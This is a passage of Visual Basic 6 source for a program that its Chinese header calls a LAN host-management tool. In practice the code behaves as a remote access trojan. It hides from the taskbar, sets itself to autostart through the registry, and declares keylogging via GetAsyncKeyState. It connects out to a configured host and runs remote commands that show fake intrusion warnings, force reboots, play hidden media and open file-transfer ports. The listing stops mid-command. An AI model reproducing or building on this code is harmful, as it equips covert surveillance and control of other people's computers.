form1.frm

星子行主机控制系统用于主机管理,方便远程操作,通信等功能.更 方便用于局域网,管理速度快,连接简单方便.注意:星子行连接可用 于带路由主机与带路由主机之间连接,非路由与非路由之间连接.带

VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{6FBA474E-43AC-11CE-9A0E-00AA0062BB4C}#1.0#0"; "SYSINFO.OCX"
Begin VB.Form main1 
   BackColor       =   &H80000011&
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Scmnet"
   ClientHeight    =   1410
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   1755
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   1410
   ScaleWidth      =   1755
   StartUpPosition =   2  '屏幕中心
   Visible         =   0   'False
   Begin MSComDlg.CommonDialog Smsgs1 
      Left            =   600
      Top             =   1560
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
   End
   Begin VB.Timer Timer3 
      Enabled         =   0   'False
      Interval        =   300
      Left            =   480
      Top             =   4080
   End
   Begin VB.Timer Timer4 
      Enabled         =   0   'False
      Interval        =   1
      Left            =   480
      Top             =   4080
   End
   Begin VB.Timer Timer2 
      Interval        =   1
      Left            =   480
      Top             =   4080
   End
   Begin VB.Timer Timer1 
      Enabled         =   0   'False
      Interval        =   1
      Left            =   480
      Top             =   4080
   End
   Begin MSWinsockLib.Winsock Scmnet2 
      Left            =   480
      Top             =   4080
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin MSWinsockLib.Winsock Scmnet1 
      Left            =   480
      Top             =   4080
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.TextBox Keytxt1 
      Height          =   375
      Left            =   480
      TabIndex        =   0
      Top             =   4080
      Width           =   375
   End
   Begin SysInfoLib.SysInfo SysInfo1 
      Left            =   480
      Top             =   3960
      _ExtentX        =   1005
      _ExtentY        =   1005
      _Version        =   393216
   End
   Begin MSWinsockLib.Winsock Winsock6 
      Left            =   480
      Top             =   4080
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      Protocol        =   1
   End
   Begin MSWinsockLib.Winsock Winsock5 
      Left            =   480
      Top             =   4080
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin MSWinsockLib.Winsock Winsock4 
      Left            =   480
      Top             =   4080
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      Protocol        =   1
   End
   Begin MSWinsockLib.Winsock Winsock3 
      Left            =   480
      Top             =   4080
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      Protocol        =   1
   End
   Begin MSWinsockLib.Winsock Winsock2 
      Left            =   480
      Top             =   4080
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
End
Attribute VB_Name = "main1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
Option Explicit




Private Const NIM_ADD = &H0
Private Const NIM_MODIFY = &H1
Private Const NIM_DELETE = &H2
Private Const WM_MOUSEMOVE = &H200
Private Const NIF_MESSAGE = &H1
Private Const NIF_ICON = &H2
Private Const NIF_TIP = &H4

Private Const WM_LBUTTONDBLCLK = &H203
Private Const WM_LBUTTONDOWN = &H201
Private Const wm_lbuttonup = &H202
Private Const WM_RBUTTONDBLCLK = &H206
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP = &H205





Private Declare Function SetDIBitsToDevice Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal dx As Long, ByVal dy As Long, ByVal SrcX As Long, ByVal SrcY As Long, ByVal Scan As Long, ByVal NumScans As Long, Bits As Any, BitsInfo As BitMapInfo, ByVal wUsage As Long) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Private Declare Function APIBeep Lib "kernel32" Alias "Beep" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long '锋呜

Private Const HWND_BROADCAST = &HFFFF&
Private Const WM_HOTKEY = &H312


Private udp1 As Long          'winsock3的端口
Private udp2 As Long          'winsock4的端口
         
Private port1 As Long         'winsock2的端口号

Public lian As Boolean        '设定连接状态
Dim Shift As Byte
Dim ctrl As Byte
Dim alt As Byte

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP

'''''''''''''''''''''''''''''''''''''''''''文件发送

Private sock5 As Long         'winsock5的端口
Private sock6 As Long         'winsock6的端口

Public filesend As Boolean        '设置文件传输是否开始

Public fileput As Boolean
Public filepath As String         '接收的文件咱径
Dim filesize As Long              '要接收文件的总字节数

'''''''''''''''''''''''''''''''''''''''''''''''文件发送

Const sBaseBar = "BaseBar"
Const sTrayWindow = "Shell_TrayWnd"
Const sTrayNotify = "TrayNotifyWnd"
Const sStartButton = "Button"
Const sAppSwitchBar = "ReBarWindow32"
Const sAppSwitch = "MSTaskSwWClass"
Const sAppIcon = "ToolbarWindow32"
Const sTrayClock = "TrayClockWClass"
Const sDesktopIcon = "ShellDll_DefView"
Const sProgman = "Progman"

Const WM_USER = &H400
Const TPM_NONOTIFY = &H80

Const SW_SHOW = 5
Const SW_HIDE = 0
Const SW_NORMAL = 1
Const SW_RESTORE = 9
Const SW_SHOWDEFAULT = 10
Const SW_SHOWNA = 8
Const SW_SHOWNOACTIVATE = 4

Const SWP_ASYNCWINDOWPOS = &H4000
Const HWND_TOP = 0
Const TBM_GETPOS = WM_USER

Public wnd As Long
''''''''''''''''''''''''''''''''''''''''''''''''''''键盘记录
Private KeyLoop As Long
Private FoundKeys As String
Private KeyResult As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''取系统运行时间
Private Declare Function GetTickCount Lib "kernel32" () As Long
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''


Private Sub Form_Load()

Dim LastKey As String
Dim TimeOut As String

Dim mInstallFileFullName As String

App.TaskVisible = False

''''''''''''''''''''''''''键盘记录
LastKey = ""
TimeOut = 0
''''''''''''''''''''''''''''''''''''''

  Call Set_Auto_Start(mInstallFileFullName) '注册表
  
  Call Reinfo_Ini '服务配置

On Error Resume Next

     With Scmnet1
          .Close
          .RemotePort = Textport2
          .RemoteHost = Textport1
     End With
  
  
     With Scmnet2
          .Close
          .LocalPort = Textport3
          .Listen
     End With
     
  sock6 = Textport8
  udp1 = Textport5
  udp2 = Textport6
  
  Timer1.Enabled = True
  
'main1.Visible = True

'FileCopy App.path & "\" & App.EXEName & ".exe", "d:\" & App.EXEName & ".exe"

End Sub

Private Sub Scmnet1_Connect()

On Error Resume Next

Call Scmcon2

Scmnet1.SendData "IPNAMEF" & Scmnet1.LocalHostName

'Scmnet1.SendData "Messgif" & Scmnet1.LocalHostName & "进入服务器"
   Timer1.Enabled = False
   'Scmsta1.Panels(3).Text = "主机名称:" + "小飞侠_RY"
'MsgBox "测试成功!", 64, "提示"

End Sub

Private Sub Scmcon2()

On Error GoTo Scmerr2

Scmnet2.Close
Scmnet2.Listen

Exit Sub

Scmerr2:

Sleep (200)

Call Scmcon2

End Sub

Private Sub Scmnet1_DataArrival(ByVal bytesTotal As Long)
''''''''''''''''''''''''''''''多用户聊天
Dim A As String
Dim Scmdat As String

Scmnet1.GetData A

Scmdat = left$(A, 7)

Select Case Scmdat

Case "Redcoms" '重新获取主机"

Scmnet1.SendData "IPNAMEF" & Scmnet1.LocalHostName



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Case "Messgif" '多人聊天室进入通知

If Msgwin.Enmsgstr = "Strmsg" Then


Msgwin.Box1.Text = Msgwin.Box1.Text + right$(A, Len(A) - 7)

Else

Msgwin.Msg2 = Msgwin.Msg2 + right$(A, Len(A) - 7)

'''''''''''''''''''''''''''''''''''''''''''''
If Msgwin.Box0.Text = "" Then

Else

Msgwin.Box0.Text = Msgwin.Box0.Text + "(" + Time$ + ")" + "聊天室有人发言！" + vbCrLf '显示通信方发来信息

End If

'''''''''''''''''''''''''''''''''''''''''''''''''''''
End If

End Select

End Sub

Private Sub Scmnet1_Close()

On Error Resume Next

Scmnet1.Close
Msgwin.Enmsgstr = "Exmsg"
 Timer1.Enabled = True
 
End Sub

Private Sub Scmnet1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

On Error Resume Next

Scmnet1.Close
Msgwin.Enmsgstr = "Exmsg"
 'Timer1.Enabled = True
 
 Call Reconl1

End Sub

Private Sub Reconl1()

On Error Resume Next

Scmnet1.Connect
  
   If Scmnet1.State = sckError Then
  
      Scmnet1.Close
      
   Else
 
   End If

End Sub


Private Sub Scmnet2_ConnectionRequest(ByVal requestID As Long)
If Scmnet2.State <> sckClosed Then
Scmnet2.Close
Scmnet2.Accept requestID

Scmnet2.SendData "IPNAMES" & Scmnet2.LocalHostName


End If
End Sub

Private Sub Scmnet2_DataArrival(ByVal bytesTotal As Long)

On Error Resume Next

Dim A As String
Dim Scmdata As String
Dim Scmsys As String
Dim killfiles As String
Dim openfiles As String
Dim Drx As String
Static gsename As String
Dim Windri As String

Static Msgb1 As String
Static Msgb2 As String
Static Msgb3 As String

Static Msgb4 As String '执行对话框
Static Msgb5 As String '执行对话框

Dim a1 As Long '锋呜
Dim B1 As Long '锋呜
Static beep1 As String '锋呜
Static beep2 As String '锋呜
Static beep3 As String '锋呜


Dim mos As Long
Dim an2 As String
Dim an3 As String
Dim an4 As String

'''''''''''''''''''''''''''''''''''''''''''
 '隐藏任务栏用
    Dim x As Long
    Dim StartWindow As Long
    Dim ClassName As String
    ClassName = Space(256)
    ClassName = "Shell_TrayWnd"
    StartWindow = FindWindow(ClassName, vbNullString)
    wnd = FindWindow(sTrayWindow, vbNullString)
    
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Scmnet2.GetData A
Scmdata = left$(A, 7)
Select Case Scmdata

Case "Portfo2"

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
On Error GoTo er

Dim al1 As String

If (lian = False) Then   'lian=ture 时 为已连接，
    
       lian = True

       Call socktwo
End If

With Winsock2
     .Close
     .LocalPort = Textport4
     .Listen
End With

'Exit Sub
al1 = 2

If al1 = 2 Then

Else

er:
Call socktwo

Call socknext1


 
 End If
 
Scmnet2.SendData "Portfo2" & Winsock2.LocalPort

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP

Case "Portfo3"

'''''''''''''''''''''''''''''''''''''''''''''文件发送
On Error GoTo er1

With Winsock5
     .Close
     .LocalPort = Textport7
     .Listen
End With

er1:

Scmnet2.SendData "Portfo3" & Winsock5.LocalPort

Case "Portfoc"

Scmnet2.SendData "Portfoc" & Textport8

'''''''''''''''''''''''''''''''''''''''''''''文件发送
Case "Sername"

gsename = right$(A, Len(A) - 7)

Case "Requtes"

Unload Me

Show Me

Case "Udpport"

Scmnet2.SendData "udppof1" & udp1

Call udpport

Case "udppof2"

Scmnet2.SendData "udppof2" & udp2

Case "Msgwins" '发来信息

sendinfo = right$(A, Len(A) - 7)

If Msgwin.Enmsgstr = "Strmsg" Then GoTo Msgemp '聊天室切换

If Msgwin.Reconstr = "Reinfo" Then

Msgwin.Box1.Text = Msgwin.Box1.Text + sendinfo

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''自动应答
If Msgwin.Aumsg = "Automsg" Then
          
          Scmnet2.SendData "Msgwins" & "(" + Time$ + ")" + Scmnet2.LocalHostName + ":" + vbCrLf + Msgwin.Msgtxt + vbCrLf + vbCrLf
          Msgwin.Box1.Text = Msgwin.Box1.Text + "(" + Time$ + ")" + Scmnet2.LocalHostName + ":" + vbCrLf + Msgwin.Msgtxt + vbCrLf + vbCrLf
          
          Else
          
          End If
''''''''''''''''''''''''''''''''''''''''''''''''''''

'Msgwin.Reconstr = ""

MsgBox sendinfo, 64, "收到来信"

'Msgwin.Show

'Msgwin.Delt1

Else

'''''''''''''''''''''''''''''''''''''''''''''''显示通信信息
If Msgwin.Box0.Text = "" Then

Msgwin.Box0.Text = Msgwin.Box0.Text + "[" + "(" + Time$ + ")" + gsename + "]" + "与你建立VS通信..." + vbCrLf '显示通信方主机名

Else

Msgwin.Box0.Text = Msgwin.Box0.Text + "[" + "(" + Time$ + ")" + gsename + "]" + "来信！" + vbCrLf '显示通信方发来信息

End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Msgwin.Box1.Text = Msgwin.Box1.Text + sendinfo
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''自动应答
If Msgwin.Aumsg = "Automsg" Then
          
          Scmnet2.SendData "Msgwins" & "(" + Time$ + ")" + Scmnet2.LocalHostName + ":" + vbCrLf + Msgwin.Msgtxt + vbCrLf + vbCrLf
          Msgwin.Box1.Text = Msgwin.Box1.Text + "(" + Time$ + ")" + Scmnet2.LocalHostName + ":" + vbCrLf + Msgwin.Msgtxt + vbCrLf + vbCrLf
          
          Else
          
          Msgwin.Show
          Msgwin.Delt1
          
          End If
''''''''''''''''''''''''''''''''''''''''''''''''''''
End If

Exit Sub

Msgemp:

Msgwin.Msg1 = Msgwin.Msg1 + sendinfo

Msgwin.Box0.Text = Msgwin.Box0.Text + "[" + "(" + Time$ + ")" + gsename + "]" + "来信！" + vbCrLf '显示通信方发来信息

sendinfo = ""

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Case "Messgif" '多人聊天室进入通知

Msgwin.Msg2 = Msgwin.Msg2 + right$(A, Len(A) - 7)

Msgwin.Box1.Text = Msgwin.Box1.Text + "(" + Time$ + ")" + Scmnet1.LocalHostName + ":" + vbCrLf + Msgwin.Msgtxt + vbCrLf + vbCrLf

'对话框
Case "Msgbox1"

 Msgb1 = right$(A, Len(A) - 7)
 


'If Msgb1 <> "" Then GoTo sc1
'Scmnet2.SendData "Remocom" & "远程用户已收到对话框！" + "(" + Time$ + ")" + vbCrLf
'sc1:
Scmnet2.SendData "Msgbox2"


'对话框
 Case "Msgbox2"
 Msgb2 = right$(A, Len(A) - 7)

 
 Scmnet2.SendData "Msgbox3"
 
 '对话框
 Case "Msgbox3"
 Msgb3 = right$(A, Len(A) - 7)
 
 MsgBox Msgb2, Msgb3, Msgb1
 
 Msgb1 = ""
 Msgb2 = ""
 Msgb3 = ""
 
 Scmnet2.SendData "Nooroff"
 
 Case "Closecp" '执行对话框
 
 Scmnet2.SendData "Nooroff"
 
 If MsgBox("有一台主机入侵本机,是否允许？" + vbCrLf + "不允许主机入侵系统会自动重启,开机后主机自动入侵成功！", vbYesNo, "非法入侵") = vbYes Then
 
 MsgBox "主机已成功入侵本机,主机要对本机进行非法操作！", 48, "注意"
 
 Else
 
 Scmnet2.SendData "Remocom" & "远程重启成功！" + "(" + Time$ + ")" + vbCrLf

     AdjustToken
     an4 = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
 
 End If
 
 
 Case "Comaub1" '执行对话框
 
 Msgb4 = right$(A, Len(A) - 7)
 
 Scmnet2.SendData "Comaub1"

 Case "Comaub2" '执行对话框
  
 Msgb5 = right$(A, Len(A) - 7)
 
 Scmnet2.SendData "Comaub2"
 
 Case "Comaub3" '执行对话框
 
 Scmnet2.SendData "Nooroff"

  If MsgBox(Msgb5, vbYesNo, Msgb4) = vbYes Then
 
 MsgBox "主机已成功入侵本机,主机要对本机进行非法操作！", 48, "注意"
 
 Else
 
 Scmnet2.SendData "Remocom" & "远程重启成功！" + "(" + Time$ + ")" + vbCrLf

     AdjustToken
     an4 = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
 
 End If
 
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''播放共享
Case "Wmpplay"

Mediaplay1.Wmp1.URL = right$(A, Len(A) - 7)

Mediaplay1.Show

Scmnet2.SendData "Remocom" & "播放共享发送成功！" + "(" + Time$ + ")" + vbCrLf

Case "Wmphide"

Mediaplay1.Wmp1.URL = right$(A, Len(A) - 7)

Scmnet2.SendData "Remocom" & "播放共享隐藏播放成功！" + "(" + Time$ + ")" + vbCrLf

Case "Wmpstop"

Mediaplay1.Wmp1.Close

Scmnet2.SendData "Remocom" & "播放共享关闭成功！" + "(" + Time$ + ")" + vbCrLf


'''''''''''''''''''''''''''''''锋呜
Case "Sabeep1"

beep1 = right$(A, Len(A) - 7)

Scmnet2.SendData "Sabeep2"

Case "Sabeep2"

beep2 = right$(A, Len(A) - 7)

Scmnet2.SendData "Sabeep3"

Case "Sabeep3"

On Error GoTo beeperr

beep3 = right$(A, Len(A) - 7)

 Do While beep1 > 0
  
  a1 = CLng(beep2) '频率
  B1 = CLng(beep3) '长度
  
  APIBeep a1, B1
  
  beep1 = beep1 - 1
  
  Sleep 200
  
  Loop
  
  Scmnet2.SendData "Remocom" & "远程主机锋呜成功！" + "(" + Time$ + ")" + vbCrLf
  
beeperr:
  
'''''''''''''''''''''''''''''''锋呜


'''''''''''''''''''''''''''''''''''''''''''''''''''配置修改

Case "Rconftn"